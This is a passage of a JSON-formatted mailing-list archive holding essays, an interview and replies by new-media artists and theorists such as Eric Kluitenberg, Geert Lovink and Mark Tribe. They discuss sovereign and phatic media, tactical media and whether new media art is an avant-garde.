                "message-id": "92b86cf7&#45;4696&#45;cde0&#45;1218&#45;beecefbe2bf5@mailbox.or",
                "date": "Fri, 6 Sep 2019 15:42:24 +0200",
                "content-type": "text/plai"
            },
            {
                "content-type": "text/plai",
                "from": "Eric Kluitenberg <epk@xs4all.nl>",
                "id": "00383",
                "content": "dear nettimers,\n\nPlease note: This text is an expanded version of a talk given at the Banff\nCentre for the Arts Interactive Screen 0.0 workshop (August 2000), and the\nintroduction to the <target.audience=0> panel at net.congestion -\nInternational Festival of Streaming Media, in Amsterdam, October 2000. The\ntext will appear shortly in the third Acoustic Space issue, published by\nthe E-lab artist organisation in Riga, Latvia.\n\n_______________________\n\n\nMedia without an Audience\n\nby Eric Kluitenberg\n\n\n\nPresence in the mediated environment of digital networks is probably one of\nthe most complex phenomena of the new types of social interaction that have\nemerged in these environments. In the current phase of radical deployment\n(or penetration) of the internet, various attempts are made to come to\nterms with the social dynamics of networked communication spaces. It seems\nthat traditional media theory is not able to contextualise these social\ndynamics, as it remains stuck on a meta-level discourse of media and power\nstructures (Virilio), hyperreality (Baudrillard), or on a retrograde\nanalysis of media structures deeply rooted in the functionality and\nstructural characteristics of broadcast media (McLuhan).\n\nAttempts to come to terms with networked communication environments from\nthe field of social theory, are generally shallow, ill informed about\nactual practices, and sometimes to straightforwardly biased. Psychology\ndoes not contribute in any significant way to an understanding of these\nsocial dynamics either. The rather popular idea, for instance, that the\nscreen is a projection screen for personal pre-occupations, and that social\nrelations that emerge through the interactions via networked media are\nmostly imaginary for lack of negative feedback or corrections, is deeply\ncontentious. The idea that absence of corrective feedback stimulates the\ncreation of fictitious relationships is an interesting one, but one that\ncan apply equally well off-line as it can on-line. It illuminates certain\npatterns of human behaviour, but it does not tell us much of what makes\npresence in the networks specific.\n\nOne of the greatest fallacies of current attempts to understand the social\ndynamics of networked media is the tendency to see these media as an\nextension of the broadcast media system. This idea has become more popular\nas the internet is extended with audio-visual elements. Interactive\naudio-visual structures, streaming media, downloadable sound and video, all\ncontribute to the notion that the internet is the next evolution of\nbroadcast media. But this vision applies only partially, and is driven\nprimarily by vested interests of the media industry. It is often not\nreflected in how people actually use the net.\n\nThe predication of the conception of media on the broadcast model based on\na division of roles of the active sender <> passive receiver / audience\nrelationship, is the greatest barrier to understanding what goes down in a\nnetworked media environment. The networked environment should primarily be\nseen as a social space, in which active relationships are pursued and\ndeployed. Activities that often seem completely useless, irrational,\nerratic, or even autistic. The active sender and the passive audience/\nreceiver, seems to have been replaced by a multitude of unguided\ntransmission that seem to lack a designated receiver. Thus the net is seen\nas an irrelevant, chaotic, and useless infosphere, a waste of resources, a\ntransitory phase of development that will soon be replaced by professional\nstandards of quality, entertainment, information, media-professionalism,\nand above all respect for the audience.\n\nLet me be clear, I do not believe in this vision, and I am convinced that\nthe net will not evolve into the ultimate entertainment and information\nmedium. Instead it seems more likely that the seemingly unstructured mess\nof random transmissions will prevail.\n\n\nInto the Soup....\n\nThe ideal of seeing  the media environment as a social space has a\nconsiderable history. Already in the late twenties Bertold Brecht\nformulated his now famous radio theory in which he envisions radio as\nmedium for direct two-way communication, and the media space as a\nconnective network of decentralised nodes.\n\t\t\t\t\t( use of cyber rhetoric deliberate\nhere! )\n\nThis idea heralds strong resonances of early cyber-utopian discourses such\nas \"The Virtual Community\" of Howard Rheingold. J.P. Barlow, one of the\nother great cyber utopians talked extensively about \"the great\nconversation\", emphasising the kinship of network communication to the\ntraditional meeting places, the street, the square, the agora, the theatre,\nthe caf\u00e9.. This early utopian phase of the net is over, cyberspace turned\nout not to be independent. It's sovereign existence is threatened by mega\nfusions of the AOl/TimeWarner type, but there is one aspect where these\nearly stories are right, and that is in pointing beyond the\nsender<>audience dichotomy of broadcasting.\n\n\n\n\tA progression of media phenomenologies\n\n\t\t\tbeyond the broadcast dichotomy...\n\n\n\nIntimate media\n\nThe first step towards a micro-politics of resistance against the broadcast\nhegemony was introduced with the notion of \"intimate media\". I was\nintroduced myself for the first time to this concept at the second Next 5\nMinutes conference on tactical media in 1996.\n\nIntimate media have a high degree of audience feedback. Typically the\ndistance between the sender and its remote audience is enormous in\nbroadcast media, if only because of the ratio of active senders and the\noverload of passive audience. Feedback mechanism are necessarily\ncomplicated and bureaucratic; the letter to the editors, phone-in time\navailable for only a tiniest fraction of the audience. Intimate media\ninstead are micro-media, there is a close relationship between sender and\naudience. Ideally the sender and the audience all know each other, while\nthe relationship is still more than a one on one conversation (as in a\ntelephone call).\n\nIntimate media are  spontaneous media. They emerge at the grass roots\nlevel. They cut across all available media, all available technologies.\nIntimate media can be low-tech, they can also be high-tech. What\ncharacterises them is an attitude. Intimate media range from micro-print to\npirate radio, to hacked tv, web casting, satellite amateurs, micro-fm or\nhigh-bandwidth networks. Intimate media can be organised in a professional\nway, though usually they are not. Most common is their appearance as\namateur media - their audience reach is generally economically not viable.\nIntimate media are generally not a good stock option.\n\nPeople often do know each other personally in these media networks. A\ncurious incident at the second Art + Communication festival in Riga\n(Latvia) illustrates this beautifully. All the discussion were sent out\nlive via audio streams over the net, and a few people were even listening\nat the other end. During one of the breaks the stream continued and one of\nthe artists decided to take the mobile microphone used by the presenters\ninto the coffee room. He placed the microphone silently on a coffee table,\nwhere a lively conversation (gossip) was going on. As it turned out later,\nabout the only person listening (in London) to this conversation at the\ntime, was the person the conversation (i.e. the gossip) was about, and she\nprotested via a chat channel within minutes. This type of media-intimacy is\nvirtually unthinkable in the broadcast model.\n\n\nSocialised Media\n\nMedia used in the context of a specified social group or in a specific\nregional context, are best described as \"community media\". Common forms of\ncommunity media that belong to a geographically situated community are\ncommunity-radio and -television. The use of the internet in a\ngeographically situated community is mostly referred to as community\nnetworking. Community networking has become very popular in the US, but\nalso has some importance in Europe.\n\nSpecial interest communities are usually organised around a topic, a theme,\nor a shared interest. They are essentially translocal in nature, hooking up\nlocal interest groups or even shattered individuals, who can be dispersed\nover different regions and countries.\n\nNetworked communications can be highly beneficial for the process of\ncommunity building and for strengthening the cohesion of such communities.\nIt is obvious that translocal (special-interest) communities benefit most\nfrom networked communication, since it offers a low-cost and fairly\neffective means to stay in touch and exchange ideas. But the high degree of\naudience feedback, and peer to peer interaction also makes networked\ncommunication technology an invaluable tool for social interaction within a\ngeographically situated community.\n\nTypical forms of networked communication are the newsgroups that emerged\nfrom Usenet, text-based fora  where people exchange ideas and opinions\nabout the topic of the newsgroup. MUDs & MOOs, or generically on-line\nmulti-user environments, where people can interact directly on-line in a\ncommunications environment. MUDs and MOOs started out as text-environments\nand became popular as role playing environments, but they have become\nvisual and subsequently also integrated live speech and 3D environments\nthat can be navigated in a more visceral way than the point and click\nnavigation of traditional web pages. Multi-user environments enhance the\nfeeling of sharing a communications space with others. The mode of\ninteraction has to be active, otherwise it doesn't work.\n\nAnother important aspect of socialised media are the collaborative networks\nthat have emerged as a result of these low-cost translocal communication\ntools. Especially e-mail has helped tremendously in this regard. Mailing\nlists are easy to set up and can help to distribute information evenly and\neffectively to a very large base of subscribers, while offering each\nsubscriber also the opportunity to react to the sender as well as to the\nwhole list. \"Audience\" feedback here is immediate, distributed and\nnon-hierarchical. It is far removed from the letter to the editor that most\nlikely never makes it through the editorial filters. The practices of micro\nmedia in the arts and net.casting have benefited enormously from the\navailability of mailing lists such as Syndicate, Xchange, nettime, Nice,\nand others, and have been tools to establish co-operation, a sense of\ncommunity and a discourse that is more open than what any print magazine\nwould have been able to support.\n\n\nCreate Your Own Solutions!\n\nOne of the most notable collaborative networks, still in becoming, has been\nthe Interfund. The Interfund is  \"a co-operative, decentralised,\nnon-located, virtual but real, self-support structure for small and\nindependent initiatives in the field of culture and digital media.\" The\nInterfund proposes to become a shared resource pool, a \"Bureaucracy\nProtection Shield\", a forum for the critique of (the inefficiency of) large\ninstitutions, a pool of shared skills.\n\nBeyond that the Interfund stimulates individuals to \"create your own\nsolutions\". One of the more ingenious of these self-help solutions was the\nself-funding scheme! This scheme addresses the nasty fact that cultural\nfunding agencies generally want to support projects only if they are\nalready supported by other funding bodies. The Interfund therefore came up\nwith the idea of a micro-funding scheme where projects from within the\nInterfund community (which itself is an open structure) would be\nimmediately eligible for official support by the Interfund - in an amount\nof either 1 or 10 US$ per project.\n\nWith the official letter of acknowledgement new funding applications to\nlocal agencies could be given extra credibility. \"Look, our project is\nalready supported by the Interfund!\" - \"what, really?? Well in that case...\"\nIf by any chance the Interfund office is far away, or there is no time for\na surface mail exchange, the entire Interfund would be down-loadable in the\nform of PDF files and other downloadable design-elements. Thus allowing\neach individual member to establish their own Interfund.\n\nAll of these types of media practices still have an attachment to the\nfunctional. There is an idea that something has to be communicated - a\nfallacy of course. What mostly distinguishes intimate and socialised media\nfrom the broadcast model, is that the media-infrastructures here primarily\nact as support structures for certain intricate social figurations to\nemerge. There is  a highly specific sub-set of these media phenomenologies,\nhowever, that seems to have emancipated itself from even those basic\nfunctional demands of use and has entered into a kind of 'phatic' state;\nthe sovereign media.\n\n\nSovereign Media or 'The Joy of Emptiness'\n\nSovereign media are first of all media that simply exist for the sake of\nnothing else. Sovereign media produce signals *with* an origin / sender /\nauthor, but *without* a designated receiver. The term 'Sovereign Media'\nalludes to the notion of the sovereign as developed by Georges Bataille in\nThe Accursed Share.\n\nAs a media phenomenology it has first been identified by BILWET (a.k.a.\nADILKNO - Foundation for the Advancement of Illegal Knowledge). For Bilwet\nthe sovereign media are a bewildering new UTO - Unidentified Theoretical\nObject, which they studied with great curiosity and leisurely pleasure. Let\nme first share some of the early Bilwet/Adilkno observations about this UTO\nwith you:\n\n\"The sovereign media are the cream of the missionary work performed in the\nmedia galaxy. They have cut all surviving imaginary ties with truth,\nreality and representation. They no longer concentrate on the wishes of a\nspecific target group, as the 'inside' media still do. They have\nemancipated themselves from any potential audience, and thus they do not\napproach their audience as a mouldable market segment, but offer it the\n'sovereign space' it deserves. Their goal and legitimacy lie not outside\nthe media, but in practising (practicable) 'total decontrol'. Their\napparently narcissistic behaviour bears witness to their self-confidence,\nwhich is not broadcast. The signal is there; you only have to pick it up.\nSovereign media invite us to hop right onto the media bus.\n\n(...)\nSovereign media insulate themselves against the hyperculture. They seek no\nconnection; they disconnect. This is their point of departure. They leave\nthe media surface and orbit the multimedia network as satellites. These\ndo-it-yourselfers shut themselves up inside a self-built monad, and\n\"invisible unit\" of introverted technologies, which, like a room without\ndoors or windows, wishes to deny the existence of the world. This act is a\ndenial of the maxim \"I am connected therefore I am.\" It conceals no longing\nfor a return to nature. They do not criticise baroque data environments, or\nexperience them as threats, but consider them material, to use as they\nplease. They operate beyond clean and dirty, in the garbage system ruled by\nchaos pur sang.\n\nTheir carefree rummaging in the universal media archive is not a management\nstrategy for jogging jammed creativity. These negative media refuse to be\npositively defined and are good for  nothing. They demand no attention and\nconstitute no enrichment for the existing media landscape. Once detached\nfrom every meaningful context, they switch over in fits and starts from one\naudio-video collection to the next. The autonomously multiplying\nconnections generate a sensory space which is relaxing as well as\nnerve-racking.\"\n\n( from the Bilwet Media Archive )\n\n\nPresence Beyond Utility\n\nIn \"The Accursed Share\", Bataille defines the sovereign in opposition to\nthe servile, in opposition to all activities subordinate to the demands of\nusefulness. The demands of usefulness, the basis of any kind of economic or\nproductive activity, rule out the experience of sovereignty. By deriving\nits meaning and purpose from what it is useful for , the activity itself\nbecomes intrinsically meaningless. The sovereign experience on the contrary\nis meaningful independent of its consequence. It always refers to the\nmoment of its consumption, never beyond.\n\n\"Life beyond utility is the domain of sovereignty\", Bataille writes. Only\nwhen experience is no longer subordinate to the demands of use is it\npossible to connect to what is 'supremely' (\"souverainement\") important to\nus. Sovereign media then should be understood as media beyond use. They\nshould not be understood as 'useless' but rather as 'without use'. The\nsovereign media are media that have emancipated themselves from the demands\nof functionality or usefulness to exist in their own right.\n\n\nQuality is irrelevant!\n\nFreed from the demands of usefulness, quality becomes an irrelevant\ncriterion for these media signals. The signals exist, how they are\ninterpreted, what the framework and the demands are that are projected upon\nthem, is not a consideration in the process of their production. The\nsignals can be beautiful and brilliantly clear, or amateurish and oblique.\nThe traditional criteria of media professionalism have long been left\nbehind in the universe of the sovereign media.\n\nOne of the most beautiful examples of a supremely  sovereign media practice\nis the net.radio.night, a global micro jam in net.audio, regularly hosted\nby the xchange network. Typically for a net.radio.night a call is put out\non the mailing list, inviting net.casters to join on irc and listen to a\nlive stream originating from location one. Other locations listen and pick\nup the stream till someone announces on the irc channel that the live\nstream will move from its original location to theirs. The next stream is a\nremix of the original, some things added, others taken away. The process\nstarts anew and the stream moves to the next location and the next re-mix.\nThis process can go on for hours, and very soon the origin of any specific\nsound is lost. What the net.radio.night imprints on the participants is a\nstrong feeling of being in the network, where the relationship between\norigin and destination has been dissolved. Also the traditional audience\ncan tune in and listen, but is no consideration in the structure of the\nevent.\n\nA distinctive characteristic of sovereign media is their hybridity. Any\nmedium can be combined with any medium. Sovereign media have a\ncross-media-platform-strategy, but this time not to reach a new audience,\nbut simply to extend the media space. Examples are the Virtual Media Lab,\nan intersection of all available media [at: http://live.media.nu] in\nAmsterdam, combining cable television with web casting, with radio, and\neven at times with satellite transmissions.\n\nAnother interesting cross breed are automated media such as the Frequency\nClock of  r a d I o q u a l i a, or  Remote TV of TwenFM, allowing\nautomatic scheduling of live streams from the internet on local radio and\ncable tv infrastructures. Or the project Agent Radio of the Institute of\nArtificial Art in Amsterdam that automatically and randomly selects sounds\nsources from the Internet and schedules them in the ether.\n\nAll these media operate beyond the body count of viewer statistics.\n\n\nPrivate Media\n\nIn the Digital City Amsterdam the personal home pages of its 'citizens' are\ncalled 'Houses'. For some years already the personal home pages on the\nworld-wide web in general, and the success of initiatives such as\nGeoCities, prevail in the face of adversity, while big-budget entertainment\nnetworks such as DEN (Digital Entertainment Network), collapse even before\nanyone really got to know about them. The deeply respectable weekly economy\nmagazine The Economist recently put a sad smiley on its cover, testifying\nto \"what the Internet cannot do\". Inside the issue a careful analysis is\nmade why the Internet has such a hard time taking of as an entertainment\nmedium, and is not living up to its promises at all.\n\nThe kind of private media formations such as GeoCities, the Digital City in\nAmsterdam, and others, mostly do not deal with the communication of a\nspecific message at all. They have no target-audience, and are not part of\nthe attention economy, but still they are highly successful as private\nmedia. More than the failed attempts to establish the ultimate\nentertainment medium, the net has flourished as the ultimate\npersonalisation of the media space. The endless stacks of private home\npages are the icons of these truly privatised media. Their private\nmessages, beyond anything else, simply state \"I am here\", but this simple\nmessage should not be discarded as a banal statement.\n\n\nPhatic Media\n\nIn their final phase of evolution media become phatic. The term derives\nfrom linguistics. In linguistics phatic language relates to \"speech used\nfor social or emotive purposes rather than for communicating information\".\nThe typical, though admittedly somewhat stereotypical example, is the daily\nspeech of house wives meeting every single day in the garden while hanging\nwash or taking care of domestic tasks. The exchanges of apparently\nmeaningless phrases such as \"how are you?\", \"How are your children doing in\nschool?\", etc.. communicate something beyond the semantics of the\nindividual words.\n\nAn amazing image: A test channel of a satellite tv transmitter, operated by\nsatellite tv amateurs - an international network. One central image\nsurrounded by smaller screens. They show what looks to most of us\n\"nothing\". A small room, an attic, a technical workshop, equipment,\nsomebody sitting around, no apparent communication. The image is, it does\nnot speak. One of our civilisation's most highly developed high-tech\ninfrastructures, utilised to celebrate the joy of emptiness...\n\nThis type of media appears to be completely useless within the traditional\n(broadcast) media scheme. It is a mistake to take this view for granted,\nhowever. There is indeed nothing banal about this media behaviour. The\nmedia sphere is treated here as a new type of environment, 'in' which\npeople create presences, but without a desire or aim to communicate a\nspecific message.\n\nIn fact I understand this as a fundamental anthropological principle - a\nway of inhabiting a new environment, and one that is, after all, primarily\na hostile environment for most of us.\n\n\nEric Kluitenberg\nAmsterdam, October 2000\n\n\n\n_______________________________________________\nNettime-bold mailing list\nNettime-bold@nettime.org\nhttp://www.nettime.org/cgi-bin/mailman/listinfo/nettime-bold\n\n\n",
                "date": "Thu, 19 Oct 2000 10:58:57 +0200",
                "to": "nettime-l@bbs.thing.net",
                "message-id": "v03007803b6146824d4e6@[194.109.161.195]",
                "url": "https://nettime.org/Lists-Archives/nettime-bold-0010/msg00383.html",
                "list": "nettime_bold",
                "author_name": "Eric Kluitenberg",
                "subject": "[Nettime-bold] Media without an Audien"
            },
            {
                "content-type": "text/plain",
                "from": "geert lovink",
                "content": "\nEle Carpenter sent following theses:\n\nStrategising Tactical Media\nImmersion in tactical media tools and antics has enabled some artists \nand activists to work together for a while \u2013 but the fundamental \ndifferences are too great for real collaboration: activists continue to \nmimic the mainstream whilst artists produce unused tools.\nIs it possible to work towards longer-term strategic visions? What do \nyou think is missing from the discourse and the practice that can help \nbridge the gap?\nWhere is the cultural shift needed for political change coming from?\n\nIs new media the political imaginary for art?\nNew media practice and theory charts the evolution of free \ncommunication networks and tools. The development model of open source \nhas its roots in self-organisation; creative commons is a realization \nof the principle of the freedom of information.  Why is it that the \nvisual arts is only beginning to take the socio-political imaginary of \nself organization seriously through the model of open source?\n\nDoes the \u2018coolness\u2019 of technology and the wealth of new media theory \ngive credibility to social networks as art, that the \u2018woolliness\u2019 of \nsocially engaged art failed? Or does new media\u2019s ability to side step \nthe art market, and government agendas enable it to practice what it \npreaches?\n\nOr to put it another way \u2013 is new media the new avant-garde that \nenables artists and activists to work together? And if so where is it \ngoing?\n\n--\n\nMy response would be the following:\n\nTactical media can (and maybe should) not be looked upon outside of the \nrealm of social struggle, movements and political issues. This is the \nproblem discussing the problematic relationship between artists and \nactivists as an isolated topic. Yes, it's all true what Ele writes. But \nit also changes in concrete situations.\n\nThe problem of outdated and self-referential museums and the art world \nin general is, in the end, not a problem of activists and the general \npublic but of these institutions themselves. You either care about \nissues and society or you don't. If you do, you engage and get \ninvolved, show solidarity. If you don't you're just yet another closed \ncastle or boring office. Who cares?\n\nEle is right in that concepts do not travel that easily from one \ncontext to the next. We can see grand parallels. But they may as well \nremain parallel universes. Zizek's latest book deals with this issue.\n\nYes, the art world is lagging behind. So does the aesthetics of \nactivists. Instead of claiming who is the most avantgarde, these days \nthe discussion seems to be: who is the most behind? Only Generation \nZero seems to be the perfect cool informed. Those in their early \ntwenties, the rest can be written off. I don't mind this view.\n\nNew media is ghetto, as is activism, likewise the MySpace youngsters. \nBut do not give up hope. There are times that people break out, create \nunexpected alliances and coalitions and make things happen. The alchemy \nof this is rather mysterious. There is no recipy. Lenin had some but I \nam not a Leninist. One strategy would to keep on trying and utilize the \ntools that we all have. Ignoring the Zeitgeist is important. We have to \nmind less about newspapers, watch less TV and Web and perhaps do more \nstuff that we really find really interesting. Stop keeping up with the \nCool Johnsons. Maybe you already do this.\n\nBest, Geert",
                "id": 0,
                "url": "https://www.jiscmail.ac.uk/cgi-bin/webadmin?A2=ind06&L=new-media-curating&F=&S=&P=165480",
                "date": "Sat, 22 Apr 2006 12:28:42 +0200",
                "list": "crumb",
                "author_name": "geert lovink",
                "subject": "Strategising Tactical Media"
            }
        ],
        "desc": "..."
    },
    "avant.garde": {
        "lists": [
            {
                "content-type": "text/plain",
                "from": "dom/",
                "content": "\n*THE LAST AVANT-GARDE*\n\nRough version of an interview with Mark Tribe & Reena Jana, authors of\nNEW MEDIA ART (Taschen, K\u00f6ln 2006). A shorter version has been published\nin \u201cFlash Art Italia\u201d, Issue 260, October \u2013 November 2006, p. 73.\n\nDomenico Quaranta: Even from an editorial point of view, your book\ndescribes new media art as a movement (such as Surrealism or\nConceptualism) rather than a mere possibility of the medium. This is a\nvery interesting point. Do you believe in it or is this a marketing\nstrategy? Is new media art the last avant-garde, and why?\n\nMark Tribe: Before we discuss New Media art as a movement, we describe\nit more generically in terms of \"projects that make use of emerging\nmedia technologies and are concerned with the cultural, political, and\naesthetic possibilities of these tools.\" I think this is more-or-less\nwhat you mean by \"a possibility of the medium.\" We go on to write, \"New\nMedia art is not defined by the technologies discussed here; on the\ncontrary, by deploying these technologies for critical or experimental\npurposes, New Media artists redefine them as art media.\"\nWe then talk about New Media art as an art movement because, from our\nperspective, that is an important aspect of the historical context that\nhas been largely ignored. In order to understand the work that was made\nby people who called themselves \"New Media artists\" and thought of what\nthey made as \"New Media art,\" it is crucial to consider the historical\nspecificity of that term (it's relation to the corporate New Media\nindustry, the Dot com boom and bust cycle, etc.), as well as the place\nof New Media art practices within a broader art-historical framework. I\nbelieve strongly in the value of this kind of contextual reading, as\nopposed to a more formalist approach that considers the intrinsic\nqualities of the work in isolation. Your question about the avant-garde\nactually raises a similar issue: like New Media art, avant-garde can be\ndefined generically as any cultural practice that pushes beyond the\nlimits established norms through innovation and experimentation. But\navant-garde can also be defined with historical specificity as a set of\nmovements, such as Dada and Constructivism, that linked experimental\ncultural practices with radical social and political change. But, to\nanswer your question directly, I do think that New Media art was one of\nthe few historically significant art movements of the late 20th century.\nThere were a lot of other historically significant practices, but none\nof them galvanized as movements per se. The defining characteristics of\nart movements, in my view, are: self-definition (the artists tend to use\na common term, or set of competing terms, to name their practice); the\nexistence of dedicated organizations, venues, publications, and\ndiscourse networks; and a common set of artistic strategies and\nconcerns. Often one finds the last of these without the first two, as\nwas the case with identity-focused work in the early 90s. I do think\nthat New Media art could be described, generically, as avant-garde.\n\nReena Jana: Mark very eloquently described the parameters of our\ndefinition of New Media as a movement.\nOur point is that during the 1990s, with the dawn of the Internet's\npopular rise as a mass-market communication medium coupled with the\nincreasing presence of PCs among households, a specific art movement\nstarted to take shape that both used these tools as primary artistic\nmedia to comment on the effect of these media on society and culture.\nThis movement entailed self-organization and definition on the part of\nthe artists involved on chat rooms, on artist-run Web sites, in gallery\nexhibitions and at institutions devoted to the movement.\nWe seek to document this phenomenon, and to point out that New Media art\nis a specific term that refers to a particular historical moment. Our\ngoal is to offer more than simplistic clumping of all work using digital\nmedia with a blanket term such as \"digital art.\"\nNew Media artists were not simply experimenting with digital editing to\nmake their video art easier to produce or creating online animations of\ntheir paintings (two examples of practices that often were described as\n\"digital art\" in the late 1990s and conflated with New Media art).\nInstead, New Media artists use emerging mass-communications tools to\ncomment on the social, cultural, and philosophical effects that such\ntools trigger.\nAnd yes, in my view, New Media art as it evolved from 1994-2004 can be\nunderstood as \"avant-garde.\" As for New Media art's description as\n\"avant-garde,\" I think it's key to see an antecedent in the Dadaist and\nSurrealist points of view that avant-garde art strives for using\ninventive artistic techniques to jar audiences and affect their\nunderstanding and experience of life. New Media art also can be\ndescribed as generically \"avant-garde,\" by definition\u2014consider the term\nand the artists' imaginative use of emerging mass-media and distribution\nchannels involved to comment on the larger \"new media\" as a dominant\ncultural force and influence in the 1990s.\n\nDQ: Why do you focus on the Nineties, seemingly forgetting the\nTelecommunication art of the Seventies and the Computer art of the Eighties?\n\nMT: We discuss Video art in the \"Art-historical Antecedents\" section of\nthe introduction. We had to cut a paragraph or two on transmission art\nof Paik, Douglas Davis, et al due to space constraints (the length of\nthe introduction was pre-defined by the publisher to conform with the\nseries). We left out '80s Computer art (AKA Multimedia art, Electronic\nIntermedia, etc.) because we felt that it was not, in fact, a\nsignificant precursor. Although Computer art and New Media art, to the\nextent that they can be distinguished from each other, shared a similar\nset of enabling technologies, and many old-school Computer artists from\nthe Siggraph/Leonardo/ISEA scene joined the New Media art bandwagon in\nthe '90s, the two are crucially and fundamentally different in their\nrelationship to media culture. Of course I'm generalizing broadly here,\nand there are lots of exceptions, but most Computer art was not as\nconcerned with media culture as it was with information technologies and\ntheir cultural applications, whereas New Media art almost always takes a\ncritical position in relation to media culture and media technologies.\n\nRJ: Our focus is not on media art (i.e., video or other\ntelecommunication art) or early experiments with computer, electronic,\nor biological material and themes, but instead on New Media art. For\nclarity, we place New Media art within the continuum of media art and\ncomputer-based art. Please refer to page 7: \"We locate New Media art as\na subset of two broader categories: Art and Technology and Media art...\"\nNew Media is also its own category.\n\nDQ: What kind of criteria did you follow in the selection?\n\nMT: From page 7 of the English version: \"We chose to... focus on works\nthat are particularly influential, that exemplify an important domain of\nNew Media art practice and that display an exceptional degree of\nconceptual sophistication, technological innovation, or social\nrelevance.\" Beyond that, we considered geographic diversity and\ngenerally selected work that we personally like. Unfortunately, do to\nthe limitations of the series, we had to leave out a lot of work that we\nvery much wanted to include.\n\nRJ: In addition, I think it's important to circle back to the definition\nof New Media art that Mark mentioned in his first answer. We looked for\n\"projects that make use of emerging media technologies and are concerned\nwith the cultural, political, and aesthetic possibilities of [new media]\ntools.\" As for \"selecting work that we personally like,\" such a\ncriterion reflects basic editorial (and, for that matter, curatorial)\npractice. We spent many hours debating back and forth what the final\nlist would be - an intellectually challenging - and rewarding - process\nthat we feel resulted in a balanced selection of forms, themes, styles,\ngeographical representation, gender, and technologies that reflects the\ndiversity and dynamism of the international movement of New Media art.\nPlease note that our introduction includes many examples of other\nimportant works that we had nominated for inclusion in the main entries,\nwhich is historically relevant, or was influential. Because the book is\nmeant to be a brief introduction to New Media art, we were required to\npresent a concise list of main entries that illustrate the scope of the\nmovement.\n\nDQ: A book like this is a strange event for media art practitioners: it\nis cheap, small, captivating and easy to read. Media art gets out of the\nghetto and goes mainstream. Don't be shy: do you think \u201cNew Media Art\u201d\nis going to change something in the history of new media art?\n\nMT: New Media art started to emerge from the ghetto and swim in the\nmainstream several years ago, but I get your point. We tried to write\nthe book in such a way that it would be both accessible to\nnon-specialists and useful to our peers. I like the fact that the book\nhas so many large images of the art work and that Taschen does such a\nbeautiful job with printing and design. I do hope that the book helps\nbroaden the audience for New Media art and generate more support for New\nMedia artists and organizations.\n\nRJ: Yes, the price-point, portability, and accessible-yet-informed tone\nare indeed intended to broaden the audience of New Media art, although\ncertainly New Media art is quickly gaining attention in mainstream\noutlets (for example, one artist in the book, Cory Arcangel, was named\nbest emerging artist of 2005 by Mark Stevens, New York magazine's\ncritic/co-author of the Pulitzer Prize-winning de Kooning biography).\nAt the same time, we hope to offer a fresh thesis within the\never-growing field of new-media studies. In 2006, it is possible to now\nlook back and offer historical context for both of these audiences, the\nnon-specialists and specialists. Our aim is to suggest a focused lens\nthrough which students, art-historians, artists, curators, collectors,\nand the general gallery and museum visitor alike can look at New Media art.\n\n-- \n\nDomenico Quaranta\n\nmob. +39 340 2392478\nemail. [log in to unmask]\nhome. vicolo San Giorgio 18 - 25122 brescia (BS)\nweb. http://www.domenicoquaranta.net/",
                "id": 0,
                "url": "https://www.jiscmail.ac.uk/cgi-bin/webadmin?A2=ind06&L=new-media-curating&F=&S=&P=406656",
                "date": "Mon, 30 Oct 2006 16:23:21 +0100",
                "list": "crumb",
                "author_name": "dom/",
                "subject": "The Last Avant-garde. Interview with Mark Tribe & Reena Jana"
            },
            {
                "content-type": "text/plain",
                "from": "roger malina",
                "content": "\n---------- Forwarded message ----------\nFrom: roger malina <[log in to unmask]>\nDate: Oct 30, 2006 6:04 PM\nSubject: Re: [NEW-MEDIA-CURATING] The Last Avant-garde. Interview with Mark\nTribe & Reena Jana\nTo: dom/ <[log in to unmask]>\n\na response to the interview with Tribe/Jana\n\nI am actually quite comfortable with the distinction\nin emphasis between the computer artists and new media\nartists as described below by Tribe, as far as their different\npositioning with respect to media culture ( and indeed their\nrelationship to the internet bubble)\n\nalthough as he says there\nare artists that follow on smoothly between the boundaries=\nbut i am not at all convinced of the claim that almost all new media\nartists \"almost always takes a\ncritical position in relation to media culture and media technologies\"=\ni see a great deal of new media art thats quite happily poetical and\nuncritical\n( eg Listening Post ?)\n\nI havent read their book yet, but I am also struck by the fact that\nmuch of the current work in locative media, serious games, and other art/\ntech that grows out of other technologies=eg bio art= are really not\nin continuity with New Media art approaches\n\nthe call for papers for \"re:place'  \"the conference on the histories\nof new media arts, sciences and technologies\" just came out and the\nterm \"new media\" already seems\nanachronistic in its use of new media as a global term rather than\na specific period/ or mouvement if you buy Tribe/Jana's argument\n\nroger malina\n\n\"\"\"\"\"\nAlthough Computer art and New Media art, to the\nextent that they can be distinguished from each other, shared a similar\nset of enabling technologies, and many old-school Computer artists from\nthe Siggraph/Leonardo/ISEA scene joined the New Media art bandwagon in\nthe '90s, the two are crucially and fundamentally different in their\nrelationship to media culture. Of course I'm generalizing broadly here,\nand there are lots of exceptions, but most Computer art was not as\nconcerned with media culture as it was with information technologies and\ntheir cultural applications, whereas New Media art almost always takes a\ncritical position in relation to media culture and media technologies.end\n\"\"\"\"\n\nOn 10/30/06, dom/ < [log in to unmask]> wrote:\n>\n> *THE LAST AVANT-GARDE*\n>\n> Rough version of an interview with Mark Tribe & Reena Jana, authors of\n> NEW MEDIA ART (Taschen, K\u00f6ln 2006). A shorter version has been published\n> in \"Flash Art Italia\", Issue 260, October \u2013 November 2006, p. 73.\n>\n>\n>",
                "id": 0,
                "url": "https://www.jiscmail.ac.uk/cgi-bin/webadmin?A2=ind06&L=new-media-curating&F=&S=&P=407449",
                "follow-up": [
                    {
                        "from": "Vuk \u0106osi\u0107",
                        "content": "\nSimple statements about interview and reply:\n\n- Net.artists refused New Media label because it was inaccurate and taken.\nAlso, we wanted one that would not come from outside (from Apollinaire or\nsuch).\nThe book title prevents Taschen from publishing a volume about our\nprecursors (that we knew too little about).\n\n- Avant-garde was how I perceived my duty as net.artist but this was my own\ntake.\nFrom talks with jodi, heath and alexei I *knew* they pretty much felt the\nsame but our work didn't necessarily reflect that.\nYou had to read the interviews and posts like this to get an idea.\nThe book dominantly shows aesthetics and fairly little context (in my view,\nok).\n\n- Several NYC galleries are now selling works displayed in the Taschen book.\n\nThis means that it's good to be in it.\nIt does not mean that the book promotes all of new media with curators,\ncollectors or other non-specialists.\n\n- I liked the book very much.\nIt is following me wherever I go: there was a Spanish edition in Barcelona\nin July, a German in  Vienna two weeks ago and an Italian one yesterday in\nVenice. This is good and I see that there's also a French and a Hungarian\nedition.\nThis book should be slapped together with the ones by Julian and by Rachel.\n\nThanks Mark and Reena (hi Reena, we never met)\n\nwith respect\nVuk\n\n\nOn 10/30/06, roger malina <[log in to unmask]> wrote:\n>\n> ---------- Forwarded message ----------\n> From: roger 